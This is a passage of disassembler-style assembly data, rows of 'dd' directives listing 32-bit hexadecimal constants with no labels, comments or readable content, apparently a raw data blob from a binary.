dd 7E2EB957h, 0CBA20AEEh, 1A470957h, 0DA1E5F22h, 438669Dh
dd 0B44BA468h, 0D081BE57h, 132CFAB2h, 0DB6C49D6h, 815EF0A4h
dd 4685C6Dh, 2DD082ABh, 0E9BF0344h, 0A26E5835h, 0BF0526F4h
dd 0F02BBF09h, 0BEFB08Fh, 49943014h, 45F772F8h, 0CF88BB08h
dd 26E65C05h, 12460D2Eh, 3C2AE38Ah, 0B329C0BAh, 48E52570h
dd 0C140D3ADh, 6A7911E9h, 4310528Ch, 4D95FA5h, 0C3957D79h
dd 0D8316813h, 1316D00Eh, 0EE0954BCh, 27575C87h, 966A16E5h
dd 0DDEB8B44h, 55E0CCE6h, 72F8E92Dh, 0C5D232FAh, 0A761F759h
dd 935F2868h, 0A5DDD2B2h, 0E9590E5Ch, 223A5EC9h, 48FFBFE5h
dd 933929B2h, 3DFB2739h, 0BE5EF22Fh, 850F58D0h, 586DC869h
dd 0AAE916CEh, 52E48C2Eh, 454EFCB0h, 0E9F89480h, 0FB13BA93h
dd 0B0A6112Dh, 3194C220h, 6D6AC4FEh, 109376FBh, 5FA2A8F9h
dd 0CB20EAC4h, 0D1F73B53h, 0A9D0A996h, 7527111Ch, 8200B05Ch
dd 0F6E1E380h, 525E66D3h, 380B115h, 21DD6853h, 43B2973Ch
dd 9312550Fh, 15626259h, 81770970h, 451ED6CCh, 206FA12Bh
dd 8F2CF33h, 0F269802h, 0FCE40587h, 50AB51FBh, 5BF588B8h
dd 0C968F1B7h, 19AC8754h, 0D425D309h, 2E89496Bh, 42C85928h
dd 54391A19h, 0A8D8512Ch, 1A2C1318h, 0E93E0C08h, 98B5F80Dh
dd 2EB8B1B1h, 0F7FB979Bh, 14D311DFh, 3BBB102Ah, 34904B5Bh
dd 0F4D05A3h, 18D3468Ch, 60E2545h, 2CF18843h, 50705CE7h
dd 0CFC8839h, 754EE9E5h, 6A0B0FBEh, 174B2C30h, 54A5D78h
dd 82D08638h, 5EC3AD5h, 4DD2AD99h, 0A81C4053h, 0DFE35C88h
dd 0ABAF2F34h, 0B066BB8Ch, 7DA1090Eh, 3FD868E9h, 40E25C4Eh
dd 92D5EB8Ah, 223DAB5Dh, 5ECC1F42h, 1DB5428Ah, 441E22C0h
dd 41A10982h, 5AF1F51Fh, 0C527E8C1h, 68C0D33Eh, 6673F727h
dd 0BA5049DBh, 44FE1Eh, 0EE865901h, 54BE6C0h, 52172CE8h
dd 6A16207Eh, 4404656Eh, 4F5AD709h, 0D2A7C0BFh, 12786A5h
dd 5E1500FEh, 284B162Dh, 0A7761Ah, 59F7B951h, 0E1811518h
dd 6F536A1Fh, 0B32DD8A6h, 0C2A8C9DDh, 685A6E82h, 56A26071h
dd 0EBF686B5h, 0FB75D459h, 8FFA07Ah, 7B976CFEh, 0FD8084Fh
dd 0E004424h, 89A3B8F4h, 9AECB5F0h, 603E830h, 27503506h
dd 0BB740136h, 0F6E78B1Fh, 23E9F847h, 0D1E4FC4Ah, 0C18B9581h
dd 37006D7Bh, 49276321h, 0ADF13C81h, 600E3C13h, 7DCDB8E0h
dd 0E248DB30h, 616F02CEh, 2BDC0C67h, 60F12AC0h, 840E9F9h
dd 1F14BB53h, 7222D7Fh, 0B57DDAF3h, 46C2EA45h, 503058CAh
dd 0B47D731h, 0B4BB8F0Fh, 89A5087Ch, 45B37D42h, 7B48DE92h
dd 2098864h, 275144E9h, 78828497h, 7008557Ch, 0C0E90907h
dd 2EE5DA8h, 5F654888h, 0EAC60CD5h, 5A4F0316h, 59C80177h
dd 7FE883A9h, 5AE926B4h, 0ACFDC5F2h, 7F5FB110h, 7739E569h
dd 0CD8FEA9Eh, 6AB9B2D7h, 50F3D244h, 0BB055A00h, 1D0A836Eh
dd 72DC829h, 0EF0B572Ch, 79AFC87Dh, 12FE822Ch, 0D0460BBCh
dd 0E0FA007Ah, 0C40F2D51h, 1627AF28h, 0C8BED100h, 0BF1FC668h
dd 3053D231h, 8C59820Dh, 31788191h, 0D0703EE2h, 93061DB3h
dd 0C7EF8135h, 310B7137h, 0AC140Ah, 992A9AE8h, 0F951010Fh
dd 0E90804F8h, 0D6932A15h, 7617F880h, 0A7B0AC4Fh, 267CB68Dh
dd 1EB80BFBh, 68C23C79h, 9A752956h, 0D9C55DC3h, 0B0FAA73Ch
dd 97E0FE7Bh, 5C93736Dh, 0DD8148FDh, 2860AA68h, 394B9BBBh
dd 205E4DACh, 0CA8681Ah, 0BAF1925Bh, 983DB33Ah, 0FB85040h
dd 0A66DF358h, 4217C52Ah, 8B5799E9h, 0CD5630A1h, 0A4D39726h
dd 584D6841h, 9B807B57h, 0F60A2D20h, 44030D05h, 0E16A6EB1h
dd 4A522855h, 1C9433F2h, 0B5C5D062h, 53F6A148h, 0CAC38828h
dd 0F05B8B40h, 95A4FF7h, 39DCC756h, 28302C81h, 71D204F8h
dd 682E4C38h, 34B9B272h, 882DB781h, 0EBC15BFDh, 8FF44A4h
dd 0C6306EBEh, 13BCB753h, 0EEF1F780h, 0E8503E1Fh, 0A9094D75h
dd 0FF7D6812h, 1A59C044h, 761E3614h, 0F3E4216h, 73501983h
dd 12F4417Dh, 20490301h, 5A5328B1h, 0B8F8A7Ah, 12BE7CE9h
dd 0F1AE60EAh, 169C8265h, 8C1D75B1h, 0E869DB4h, 0CE4E9D0Ah
dd 0B86C8C20h, 0B3F1A1ACh, 82D1276Eh, 36D66DAAh, 0BE065060h
dd 62CD9653h, 63E0E5C1h, 599DECAEh, 0AF87EA02h, 52132745h
dd 0CA30E9B6h, 0CED5E925h, 800445B9h, 0B1F20A8h, 3EF7E8C6h
dd 22D2B0D4h, 0D5818EF8h, 0EF56E4CBh, 828EDC82h, 0B28A0FC7h
dd 0D62586FCh, 0A8B6C84Eh, 0AD2900F5h, 40AE3561h, 956F74h
dd 0B5F581C4h, 0EC437A37h, 0AF5F0AEDh, 1F48572h, 6ECD030Eh
dd 0CA516101h, 2DCB088Ah, 105CC07h, 31673714h, 33621F1h
dd 5BC02908h, 1B4E1768h, 0BF9279FDh, 0FE42A45Eh, 0F52AA3E9h
dd 0F126B26Eh, 0D218DB5Eh, 0BA2CD65h, 0C6897A53h, 0EC095950h
dd 0DD60CBF0h, 0F78BFC0Fh, 0F88D36C5h, 0DC6F16FFh, 3B786F3h
dd 0B95B59E6h, 0F7534DEDh, 0DB09C8F5h, 1A899511h, 1213EE00h
dd 1EC15039h, 38B66D62h, 6A59822Ah, 0AFF6E5AEh, 65A77941h
dd 0C830E90h, 50C11B4h, 7AE2F7FAh, 128D0809h, 0CE72AFF8h
dd 211C41A3h, 0FA71547Eh
dd 4BEEFE2Ch, 0EB35C8F7h, 5A17F50Ah, 2D92B88Fh, 102858EFh
dd 0E2B7CCE9h, 12B6FDBEh, 54DFB1A9h, 8044BA8Ah, 12EF5DEEh
dd 0ADC4086Ch, 0DEF75905h, 8E441EEFh, 2D054240h, 7D4B80DDh
dd 0C64E6E9h, 0FBE5BD62h, 6A81A2EBh, 0D7AF8B6Eh, 0BB3CB905h
dd 0C59EE245h, 8BC461BAh, 0C03562FDh, 0AE965B4h, 0EB3B9C1Fh
dd 0C4A9177h, 15E28E2Bh, 4FB7A5DEh, 33093CE8h, 91E21A30h
dd 68F90377h, 0E9BB16C3h, 0A9AC84BFh, 0F9E9B0C3h, 5DAC9DE3h
dd 0B180FEC6h, 0CE083CB3h, 34672096h, 9DFAC5EEh, 0A04F11DBh
dd 0D0F70196h, 806EBF65h, 4F557CDCh, 0CE4B013Bh, 5EE9FCE4h
dd 0EC581E1Eh, 0EF2B15F5h, 89C4A44Eh, 0F1DC7E25h, 0C4704282h
dd 0F15E001Bh, 810F3C73h, 41121AE3h, 0AC1F297Bh, 423830C5h
dd 0EBD62FFCh, 39CA0E00h, 1733EB3Bh, 960669E9h, 0D995D91Ch
dd 0B10BC505h, 21976BC6h, 0EA17DB00h, 0E6DE7F31h, 649BA85Eh
dd 2D6C9820h, 0DEA0CF4Eh, 6C03719Fh, 586146B0h, 75247A90h
dd 4A56D860h, 0C4BAAC6Bh, 3EB9BCF1h, 0D952E1D3h, 1CAE0455h
dd 0A04E2E00h, 265ABD9Eh, 0B2EE8013h, 0C4A26E0Ah, 0C18A4041h
dd 0C787387Fh, 54285A6Bh, 0FDA5EF42h, 7470EBD9h, 20EBD55h
dd 0E950CA6Ah, 237CD301h, 0A1FC0397h, 40150C75h, 572C6152h
dd 0EEAED305h, 21ABE929h, 3AFA2D30h, 12F8C713h, 0ABE7A117h
dd 8F04229h, 4C7197F3h, 0E4B8088h, 0C4C0DCF6h, 58E230EDh
dd 0F2FCD2F0h, 0CAFE5018h, 3A282C0Ah, 9B045AD0h, 0BB1421E9h
dd 44C21A98h, 9009CBD4h, 273BA67h, 0FE0A4C1Fh, 2B218231h
dd 0EAE04AE4h, 0ADA2D734h, 0D2051D60h, 0A85B669Dh, 9F0B68D2h
dd 18D3165Ah, 416A002Ch, 60CAE14Eh, 791FD090h, 3D523FC5h
dd 0CA2A84B1h, 982CD64Bh, 56412568h, 0E9629674h, 97315428h
dd 459A05F3h, 0D441BA53h, 307329E3h, 9C61F241h, 6816C07Dh
dd 0C6CC4F5Fh, 43101AA6h, 951EF05h, 0A4AD199Fh, 8BF891F4h
dd 86CFA4CBh, 401C562Dh, 0F955BED6h, 0DCA162BDh, 0C6F4493Eh
dd 25665C50h, 6FA2BB0Fh, 59044A84h, 5B8E80EBh, 4B4E1E1Ch
dd 0A23F68A1h, 0A4B284AAh, 0B91FEA17h, 0B866F681h, 812BD5B4h
dd 2CBDE976h, 4CB64B85h, 34758A69h, 16799764h, 3608254Ah
dd 1C9612EFh, 3578E5B5h, 6B233216h, 0B8C52C1Ch, 46C049C1h
dd 1FFD2242h, 94F50144h, 5E2708C5h, 2A7BE5E9h, 3CB50104h
dd 282A80AEh, 5AEE2CF0h, 0E9AD0405h, 0F0B2AF75h, 3844BB02h
dd 8D8A36DEh, 0CC501691h, 108E1C70h, 262740E9h, 3F0821FEh
dd 0C3DE2583h, 0CF800203h, 5F7CE28Eh, 59822BAEh, 1143E620h
dd 53004FD2h, 0BED6851h, 591F0F3Eh, 0D3F9AEA0h, 0F327E917h
dd 69E45AF0h, 1FDE04D9h, 5E3CF181h, 35E02278h, 0E3C9CF7Fh
dd 0D1CA90E4h, 38658165h, 9BEC4BD0h, 24EF0B1h, 36DC159h
dd 4D3E5D69h, 1F293413h, 0BE6349EEh, 64EFABDCh, 0CCEA94C6h
dd 0DB9D5694h, 0D9680540h, 68CBEB32h, 599CA45Bh, 24BD7BB7h
dd 7E8E1024h, 0C42C9807h, 936ED828h, 5EA16A11h, 0B52DB0h
dd 811BFD0Bh, 730607E6h, 60F3548h, 6B84D5DCh, 25E925BAh
dd 0DBA9C80h, 4A4B728Ch, 989FDB0h, 0C22159C8h, 1C4B7904h
dd 2C83EB14h, 60A702F8h, 3E029F15h, 0F7277E76h, 88ED1668h
dd 144BD513h, 0CF8BD7A1h, 69765908h, 2F0CD058h, 0D17C5677h
dd 29AA0800h, 4A3D8D0Fh, 0D2C3E9BEh, 5984B505h, 10318EBAh
dd 0B05F9FFBh, 6940FAECh, 68D80A31h, 9E3B7D57h, 3D2A7E50h
dd 0E37A20D4h, 254AF0F4h, 9244B635h, 34B274ACh, 3EA7ABA4h
dd 0D388530Bh, 54266345h, 70485402h, 0E9EAE80Bh, 0CDBDD6DFh
dd 7CABEDEDh, 5C292752h, 36F602FFh, 6157493Ah, 0CFD1CEh
dd 0F281060Ah, 7F99589Bh, 0E7D32927h, 681005F9h, 10D61FC0h
dd 9FB63BA0h, 2809B151h, 8AB86BCEh, 6454075Eh, 8211946Eh
dd 475C6B3Ch, 0AA2EAB4Fh, 4670FA0Dh, 8F61C9B6h, 3023827Fh
dd 0A1E9FDCBh, 0F34B3A5Bh, 0F3AAC8C4h, 361724CAh, 4DD31F4Ch
dd 6B1A64AFh, 0B47F32B2h, 50117F1h, 0FB06F123h, 0CBBA2B75h
dd 68B12743h, 0BABC383h, 29B96F61h, 1BAD9F86h, 0B2888096h
dd 574B0049h, 142FB7BFh, 0C7812E01h, 3A183B9Dh, 0C0D90C86h
dd 2F25A2EDh, 3BD278Dh, 21DE21EFh, 3C30631Eh, 0E20216A6h
dd 69BDE19Ch, 0BF361759h, 5F533C62h, 0DF0BD4C5h, 0F0DB20EBh
dd 98D0295Eh, 7E5941B3h, 50B41880h, 7C277EF9h, 958976CFh
dd 83412F1Eh, 525629A5h, 6B026726h, 416FE526h, 0DABE8429h
dd 4A9AE90Bh, 0E02FF8C4h, 8006A1C1h, 0B22AAA9Ch, 84E4D020h
dd 93C8A157h, 3A204161h, 0C657F8F1h, 4CA4B534h, 28330F6Dh
dd 0D5CF953Bh, 0F111D23Fh, 8AA02BE8h, 0F020FEBh, 55AB1807h
dd 0E56811A2h, 9120305Ah, 83665EEAh, 18D239CAh, 98740B77h
dd 99930227h, 0ED6D8807h, 0C1C58025h, 7D9564B1h, 615C327Dh
dd 8F81D61Bh, 0FEBF3FB0h, 0FC5CD5E2h, 0E8BD5212h, 548ED925h
dd 285AD402h, 1C2045F8h, 0D5B825ABh, 0C7313060h, 1ACF78FBh
dd 80FF1EE9h, 464B0E20h, 300CC342h, 0C0BF391Bh, 0E21E10F7h
dd 2D4D3658h, 0A560D9A4h, 0CD0C9D68h, 0B0C3FE80h, 3509B798h
dd 58F7B50Ah, 5E4CC580h, 2DEA52D9h, 0D7490BB2h, 5C139015h
dd 5ED5C9B4h, 301BCF6Ah, 0B050A788h, 92CF909Eh, 0E2C1281Ah
dd 135D2F95h, 0E0F89549h, 35802248h, 0C32D1ECBh, 0C2089763h
dd 0EBE55DE1h, 22546880h, 585B653Eh, 0D310B231h, 4C148C1h
dd 18C4493Ch, 405C4088h, 0B02B862h, 891D6D8Fh, 97578C2h
dd 33F6307Fh, 8555A50Bh, 0A120550h, 2C2794A9h, 0EAE361A3h
dd 201F74B9h, 0D44FB37Ch, 57B14DE2h, 273B3616h, 0A5068FBFh
dd 42EF455Fh, 5AA2685Ch, 9D7766D5h, 7BA8E4Ch, 53A513B3h
dd 0C9530855h, 0B10AA528h, 8065BC6Dh, 858AA516h, 0B84E33C4h
dd 139CC4A9h, 45A1BCB8h, 0CFF78089h, 6D4A01F8h, 253E24Fh
dd 760C6857h, 607D3378h, 2C14F119h, 38D317B2h, 3A2A398Bh
dd 5788AA83h, 0A4C7450Eh, 89EF2011h, 95FFBh, 5B0301DFh
dd 0B868585Ah, 5BFC3C53h, 0EAAC8344h, 0C85BE110h, 0E25D21C4h
dd 0BFED5EF5h, 4E98F67Ch, 685F70DAh, 0CC170A2Ah, 1131595Ch
dd 0BD00A1A5h, 21F8740Bh, 0DCA4895Bh, 0CC08049Fh, 4DA010Ch
dd 9128ADDh, 0FB40256Ah, 0AF3A2D66h, 0F8011D28h, 0E90E05D8h
dd 0F84454A0h, 0A50BDF67h, 95D0509h, 0EBBCF6E1h, 0F4D9D705h
dd 0B165D2Fh, 3C0016EFh, 40D315AFh, 0D05B5EE9h, 0B9FEA90h
dd 0EE280C28h, 0F82D54EAh, 83EA527Eh, 141C4108h, 0A9C10F43h
dd 56823FAEh, 1607460Dh, 25E38075h, 26A59CBh, 40543539h
dd 10E037B6h, 13177D97h, 5800D13Dh, 357AA6EEh, 2B2B021h
dd 0CE406D0h, 46C80BE9h, 0C8B57368h, 96459347h, 88E26803h
dd 5A16CEA4h, 201C1C07h, 0AFBD12CEh, 76402501h, 42355862h
dd 0DC4B5D06h, 3AC7CC05h, 94BF73B1h, 0FF080564h, 0F00BA32h
dd 6DD12502h, 479225E9h, 0C5CFF151h, 0CFFF6828h, 76156B50h
dd 6115A8Ch, 87B93030h, 0E5DCBD4Bh, 0E2658283h, 0C952DE25h
dd 0D4C52B7Dh, 51E9E1CAh, 429B4A43h, 9FA5C3Ch, 0D8C0E957h
dd 0B94E4ADAh, 4FEB1034h, 0DA55ED5Bh, 7A6221h, 90662CE1h
dd 8A0F1606h, 5BBEEC6Bh, 0DEF295FCh, 313091C9h, 0A50B94h
dd 0C380F0B3h, 69870F12h, 6C5D93DCh, 1C5B2F24h, 0D409B8F3h
dd 0A04EB680h, 80F2D7E0h, 2413BD55h, 0CFF06223h, 33CCB14Ch
dd 8D2703F0h, 6CA00E5h
dd 0B0703F0Eh, 0B5955061h, 9E49061h, 1BEA516Eh, 16C40C84h
dd 18CB02BFh, 60D53B10h, 0CC2410Ah, 0EE297CA0h, 565F95A4h
dd 50B95874h, 6AB33993h, 33E94BCCh, 4F4490A7h, 346671B1h
dd 0DD76F703h, 0BDD874C7h, 5DEA31B1h, 21E21281h, 2B63E920h
dd 0C649220Eh, 66710EE5h, 978B46CDh, 0DFBC34Ah, 7B0E5D14h
dd 0D13ADCF5h, 6ADCE95Ah, 393B14F4h, 75C81D5Ah, 12D3C902h
dd 33C344E1h, 69B4E9C0h, 893A4112h, 5F695FFBh, 0F6B008DBh
dd 37A35F13h, 0B54A2924h, 3E95AEE2h, 7EE782h, 68504E5Eh
dd 7F2F3F2Ch, 3A16DE68h, 9C4648F7h, 8EAC101h, 505ACDE9h
dd 0EB2DD0F1h, 3EBB711Fh, 2590CE13h, 287598F5h, 0BF93469h
dd 2F7B636Fh, 5811897Dh, 0D028C576h, 0A40E83E3h, 0FEAC975Bh
dd 4C00353Fh, 302D236Ah, 241647CFh, 0CA08C229h, 895809CAh
dd 0BF311677h, 7DD37B48h, 0DADB0D82h, 962433D1h, 0E61095AAh
dd 0C809D299h, 510889F0h, 0E9FF4C6Bh, 59977571h, 0AEEC273Eh
dd 7E957990h, 2D5EB2Eh, 4A7A996h, 806DBD45h, 725A3CCEh
dd 0FEE630E9h, 80C4B65Bh, 0F11F602h, 57BED986h, 80012745h
dd 8B0FCBE6h, 0A82A82CDh, 0E95AB035h, 9D1FD6B1h, 0ADE23B4Ch
dd 4EFA7777h, 8D5C25Eh, 0B4CC3B72h, 17BA9347h, 0AC300AD2h
dd 534104FDh, 7E802CF5h, 9784696Fh, 0FE0BF3F0h, 58A13545h
dd 5452320Ah, 0F8EAD982h, 0F76B195Eh, 16D54A84h, 120F2DA0h
dd 0AFBFEC89h, 0DDB91461h, 857D171Bh, 0FA1802F9h, 885C0C9Ah
dd 7195E279h, 13762522h, 2407C62h, 96E2FD01h, 4E324B57h
dd 249EA90Ch, 6B3EA35Fh, 422CFEFBh, 6D60F029h, 0FE2656BFh
dd 151C460Dh, 0C02E9F4Eh, 0F254C3E5h, 840F1209h, 2E41B1D5h
dd 57A32BB2h, 0E25E348h, 0A4CA32C1h, 42ECCD89h, 99F0A5DFh
dd 7E076225h, 28D283D4h, 0EDB15AF5h, 0EDE5C155h, 600D7C5h
dd 8D045865h, 0E92CE828h, 0BC4BD738h, 133C2138h, 6724AA50h
dd 0F9EB29EFh, 58A95040h, 594D1188h, 72CA9F28h, 0ED89CDBBh
dd 0A6840006h, 0FD609126h, 1DA693FDh, 5480099h, 0F7BEE788h
dd 746268C0h, 972975A8h, 80467C2h, 0D2CB8958h, 5B003A50h
dd 9C777005h, 50D8293Ch, 9053072Dh, 69C2004Ah, 0F2816245h
dd 342404DBh, 9502444Eh, 4014B133h, 123AC956h, 78936BEh
dd 296EE94Ah, 30020153h, 577F6456h, 8B7C26F0h, 53C4FE91h
dd 4C6AF6AEh, 820F10E9h, 42935C2Fh, 659D16D9h, 15A22FF4h
dd 9440E64Ch, 0D0060023h, 82D4058h, 5102BB43h, 7ACEFD05h
dd 7824C284h, 66503778h, 8F4BFFE8h, 439B6F8h, 0E89E284Bh
dd 53262C74h, 3D131850h, 0F8C0800h, 0D21B0C81h, 0FE16049Eh
dd 230CC0CEh, 39CF2E9h, 0BE53AD07h, 65F117F0h, 92CE6181h
dd 2F4E0A0Bh, 0D31EBDDh, 8005D202h, 6DE990E5h, 7665BFA2h
dd 8B499813h, 2DA1FC5Ah, 0EE456ADCh, 0E976D0BBh, 59B7977Dh
dd 0CE88F97h, 0E2F95364h, 2852364Fh, 0C7801213h, 6885706Bh
dd 0A3B539DEh, 83FCB5FFh, 0DE59E2EFh, 316B28FAh, 0F141918Eh
dd 0A22C2B9Dh, 0FEECFDDEh, 0C2B24AE9h, 0A9D7B8E9h, 4B950020h
dd 9F51A244h, 804C26Ah, 5C91FB58h, 5C01D49Fh, 122F3201h
dd 0F5953E4Dh, 5F0550EFh, 0A94E4894h, 5254897h, 56D1014Bh
dd 37509080h, 0E9293DA8h, 405C08AEh, 4490398Eh, 255D52C1h
dd 0C42A213Eh, 0D0CEC445h, 690305DFh, 29502B05h, 7122DF8h
dd 81DF6406h, 5E569593h, 9F880F83h, 0E9180CAEh, 2D0AEE99h
dd 835A6118h, 82116382h, 0CCD71C42h, 88D49630h, 0BF00B6AAh
dd 7FE78ADh, 93EF0481h, 0BBBE503Eh, 0E7D2FBC1h, 450FEE10h
dd 0C6EDE30h, 408479B3h, 2A3CCA1Ah, 41F4064h, 956A7FEh
dd 0D002C3F0h, 3DA2A310h, 70465D25h, 0A60D995h, 13FAE089h
dd 0A5A7F870h, 17055261h, 480EA16Dh, 0B452A97Ah, 4E12516Dh
dd 5E014321h, 5A0E1967h, 83730C83h, 0BAF4C036h, 1CA590Bh
dd 42146078h, 0CBC6A070h, 0C46282A5h, 0A682CCF7h, 0C5406B0Dh
dd 572511E5h, 77E9F1B0h, 0FE2C7C60h, 90652CC0h, 75DE70E0h
dd 58D5E5C6h, 6331298h, 522F6824h, 0B13E9046h, 95CEE0C1h
dd 5D5000Bh, 0E84BE07Eh, 632D0955h, 0E8F5DA95h, 1792B9DBh
dd 8926836Ah, 4D9CFCF0h, 7E674B95h, 0EF0084A4h, 81FE875Dh
dd 0A4DDBF6h, 0DEF769CDh, 5C681A6h, 2FA5A6A1h, 8E9A004h
dd 680AC5B8h, 0B8C6297Bh, 820E5824h, 0B1356C9h, 0AEC1BC40h
dd 824AC870h, 8FB89C05h, 4721B3B5h, 6811606Ah, 0C4BD6A8Ch
dd 20EA9C5h, 42F2847Bh, 3C83E9C5h, 0BECC99D7h, 81E07670h
dd 49B9EB31h, 6ADD3A66h, 0C49923ECh, 461927B7h, 4515E4ADh
dd 164E2D94h, 15670845h, 0F6C0E3C4h, 332356h, 0B9514830h
dd 40D835D1h, 14E98104h, 0AAA9D38h, 2B153A1h, 0BC50899h
dd 0B961D090h, 9880BD9Eh, 1203430h, 885A98F7h, 0A68569Fh
dd 3E5A6B2Bh, 575512B5h, 0E195A9EBh, 0C26C30E9h, 87415725h
dd 0D9542A41h, 0E5B20351h, 0F2F5B753h, 7156D8EEh, 0BB459D59h
dd 487D9A80h, 0B1D9316Ch, 4F89619Ch, 0A7646B20h, 9D295FEBh
dd 162BCDC5h, 2A70212Ah, 0C600CFCh, 174149EFh, 0EC1CAC1h
dd 0A3207BE5h, 4FC98277h, 0E15C0370h, 46A5054Ah, 0C925C953h
dd 8B50D306h, 706E0C1h, 0B55D9505h, 72D4D235h, 12B51CD7h
dd 0A3236268h, 39B80034h, 0D06E173h, 550158FCh, 0D28B0F06h
dd 58BF4488h, 0C0AC4A2Eh, 0B5E0D1EAh, 718B165Eh, 420BD326h
dd 0C4A00A23h, 5559B4BFh, 0C931687Bh, 0FD884486h, 907CABDDh
dd 5FA48A4Fh, 400B88D1h, 7608EA05h, 0EE3A42B9h, 53F46807h
dd 1653CBEFh, 0B1F8D921h, 486C6882h, 89024775h, 8358E4E9h
dd 8034B401h, 8F0FA5F4h, 377AE6F1h, 61600417h, 0F76B74B5h
dd 5C5412DEh, 0D69DE8ADh, 8570BA48h, 0BD88C801h, 5C282550h
dd 7E9510EBh, 800F82B0h, 8FFEE371h, 3A8A9C62h, 2D64E6F7h
dd 2182F888h, 7608D37Ch, 7965046Bh, 3A66491Dh, 6AD8C869h
dd 95A84812h, 973BB0D7h, 816BC341h, 728EF8Ah, 97871649h
dd 0CDB6F5C0h, 2EC6CC97h, 624E31A3h, 0C6555854h, 3DF7228Bh
dd 0AD85C389h, 0CA75D9B9h, 5EFC0842h, 0A81E1726h, 0A9898244h
dd 0AF810B95h, 0E38B7065h, 0BBD5062Ah, 0B94212C3h, 8947E9DEh
dd 5E55294Dh, 0EA862247h, 0EAD064DFh, 2EF6ABC9h, 0C2708810h
dd 5AEDC8E9h, 6A7A27A8h, 60B71C64h, 7C0D21CCh, 6343FE5Ch
dd 39A69FAFh, 0C2B50A5Bh, 5856922Bh, 1AB0E979h, 4A476E9Ah
dd 404DFD40h, 46B55A08h, 0BB685C21h, 612E549h, 6B3A89A5h
dd 5E560AF4h, 0EB2BCD51h, 6438348h, 4C374FCFh, 0B0350970h
dd 0EF8B3C8h, 534E92Dh, 89FEBD6Ah, 8DE42AF2h, 0EFD9678Fh
dd 5D5A72E6h, 82DFCEA9h, 7F100A05h, 0F9496DA4h, 24F603B8h
dd 2FA4729Dh, 49985B94h, 52824FC2h, 0B57FF22Ch, 4ADB098Bh
dd 7B055CBh, 8D02300Eh, 3A684603h, 9840465Dh, 1453032Ah
dd 44E927BAh, 0CB016F16h, 0BAF51FBCh, 0DC135172h, 170D6819h
dd 1096E85Dh, 80039FACh, 0EB884DC5h, 259E8CD1h, 1F3F308Ah
dd 4FFC304Ah, 48D3680Ch, 62957D59h, 0C5F574CAh, 0FBDABA56h
dd 21813E9Ah, 0C9E43D4Ah, 99C87042h, 0E79D1716h, 2D8B8815h
dd 1775545Fh, 204FA069h, 8B4BF07Fh, 92BEED1Fh, 0E6718D9Eh
dd 0B18B7B82h, 5610BF98h, 0B580BA0Bh, 97E5FAE3h, 0A51680C2h
dd 2D507397h, 0CD2B2FA2h, 0BD4A5A06h, 0C96CF40Ah, 380F4840h
dd 0FB82399Eh, 0D8C7350Ch
dd 0A6C3BF8Bh, 0AEE8D4A5h, 0EE611D61h, 0F1095207h, 7DD323DFh
dd 0D9579B1Ah, 16B86302h, 0B304D80Eh, 0E879B4Bh, 3E17E2B0h
dd 0B5B3BD05h, 73269400h, 0CEF28102h, 235B0802h, 5540A868h
dd 2AA64398h, 0DC78AD2Dh, 0ACC82758h, 6C287135h, 9838C815h
dd 0D2A12F76h, 3A20226Ah, 0D73F31Dh, 19F80496h, 0A935A44Eh
dd 14889204h, 0ACFCF331h, 9CAE2713h, 683B5756h, 85AACD4Ch
dd 0CDEE80FBh, 3A454DDh, 4D744EC6h, 0A6AAAC85h, 310F80ECh
dd 512BBCD6h, 0BA14253h, 2C3B0D50h, 4FDCDCB3h, 0BAE490ECh
dd 3EC24534h, 9C610EBEh, 6E5E6203h, 15836DC5h, 6ED4C9E0h
dd 3DB5A42Ah, 0D1603C41h, 3AF30BEDh, 3D7C3010h, 0E11DE93Eh
dd 0BD2A1F9h, 306C837Dh, 0B4654B39h, 7441018Fh, 8B3880F9h
dd 89E6BB1Eh, 0A7506218h, 0A569429Dh, 0F5B2050Ah, 6AE29778h
dd 27E3BED7h, 54C071E9h, 0CE5BFE58h, 5E66804h, 602E62FBh
dd 0F2DD9DAh, 4E5FFEAFh, 15D9364Bh, 2B2A298Eh, 158A7F70h
dd 3EC3FFEh, 3F2CDF0Ch, 730B3A33h, 9D1B5C0Eh, 0B150F2EFh
dd 0FCCF3561h, 6FCF7F29h, 0D468A258h, 0BB0FF449h, 87F1C7AFh
dd 1B14EB1h, 598B8E7Ch, 0BB37A75Dh, 675C3120h, 46482CE9h
dd 0D30E6973h, 1C68FA17h, 0D484830Ch, 0B631BEE5h, 0EE15C2A8h
dd 93DCE6C6h, 0F5680D72h, 0F0F0038Fh, 82347520h, 0A6B354AFh
dd 3F210E61h, 0A0513330h, 24F5B00Dh, 4C85266Ah, 2E62DD0h
dd 1270E697h, 0FA8F38E9h, 8E704A21h, 4A68E864h, 2E31AC67h
dd 0C19CAD5Ah, 66BE0560h, 8275D176h, 540742A5h, 0E7F05165h
dd 240BF64h, 338135B2h, 0FA5B612Fh, 856801B1h, 637D9176h
dd 0EDD13399h, 3B54F1BAh, 8068B107h, 0CA88D4F0h, 0D1302F59h
dd 4DAE6526h, 90AC545Fh, 3CA77AB9h, 0FF151407h, 96C7C045h
dd 4A13244Eh, 0A7A46AE9h, 0B7250BEDh, 0ED637579h, 4DB24006h
dd 0B0C49C5h, 71D376C7h, 8A06E76h, 0A056459Fh, 31E9131Ch
dd 0FCCA20CDh, 0CAB0C343h, 29EE342Dh, 994884B6h, 0E0453DF7h
dd 1667F26Bh, 0D5B33501h, 1F2BB512h, 541B576Bh, 9612CD40h
dd 83516503h, 0F89DD14Ah, 5CA5963Ch, 0B7BD1C30h, 0B02D1210h
dd 2506D23Dh, 0DF636A01h, 0C89F2A1Eh, 80F9FB17h, 0A2BDE688h
dd 688658F6h, 828EFD80h, 0F4470C55h, 0E9CAB209h, 0E78C8C6Bh
dd 5A03FD96h, 0CA65C180h, 7DBC4A9Fh, 575CC592h, 0C624742Fh
dd 883B61D2h, 0D71493ECh, 0F7051190h, 3D2095D8h, 3C267D0Ah
dd 0FE358BFh, 144DB19h, 80BD8FAh, 750D925Dh, 9D8BA286h
dd 0E66BA44h, 9C46EA81h, 6790ACB2h, 0C67F4713h, 0E710C229h
dd 5408004h, 2DFA1C2Eh, 0E913E9B8h, 4F515B9Bh, 720F48E0h
dd 604EA5F8h, 0EA7B64F7h, 70DD9A95h, 23A2D77h, 0F98764FEh
dd 579220Bh, 70A0551h, 29901553h, 0C3895D0Ch, 0CC833F4Ah
dd 215DC2ABh, 0B712CCD5h, 179930Ch, 10E7FA49h, 552EDD39h
dd 4AD61075h, 0FD4A7BFCh, 6DD0850Bh, 0DD12DCA9h, 238BBE76h
dd 42475124h, 0B25F5457h, 139D7B3Dh, 226FACEFh, 0A0E91602h
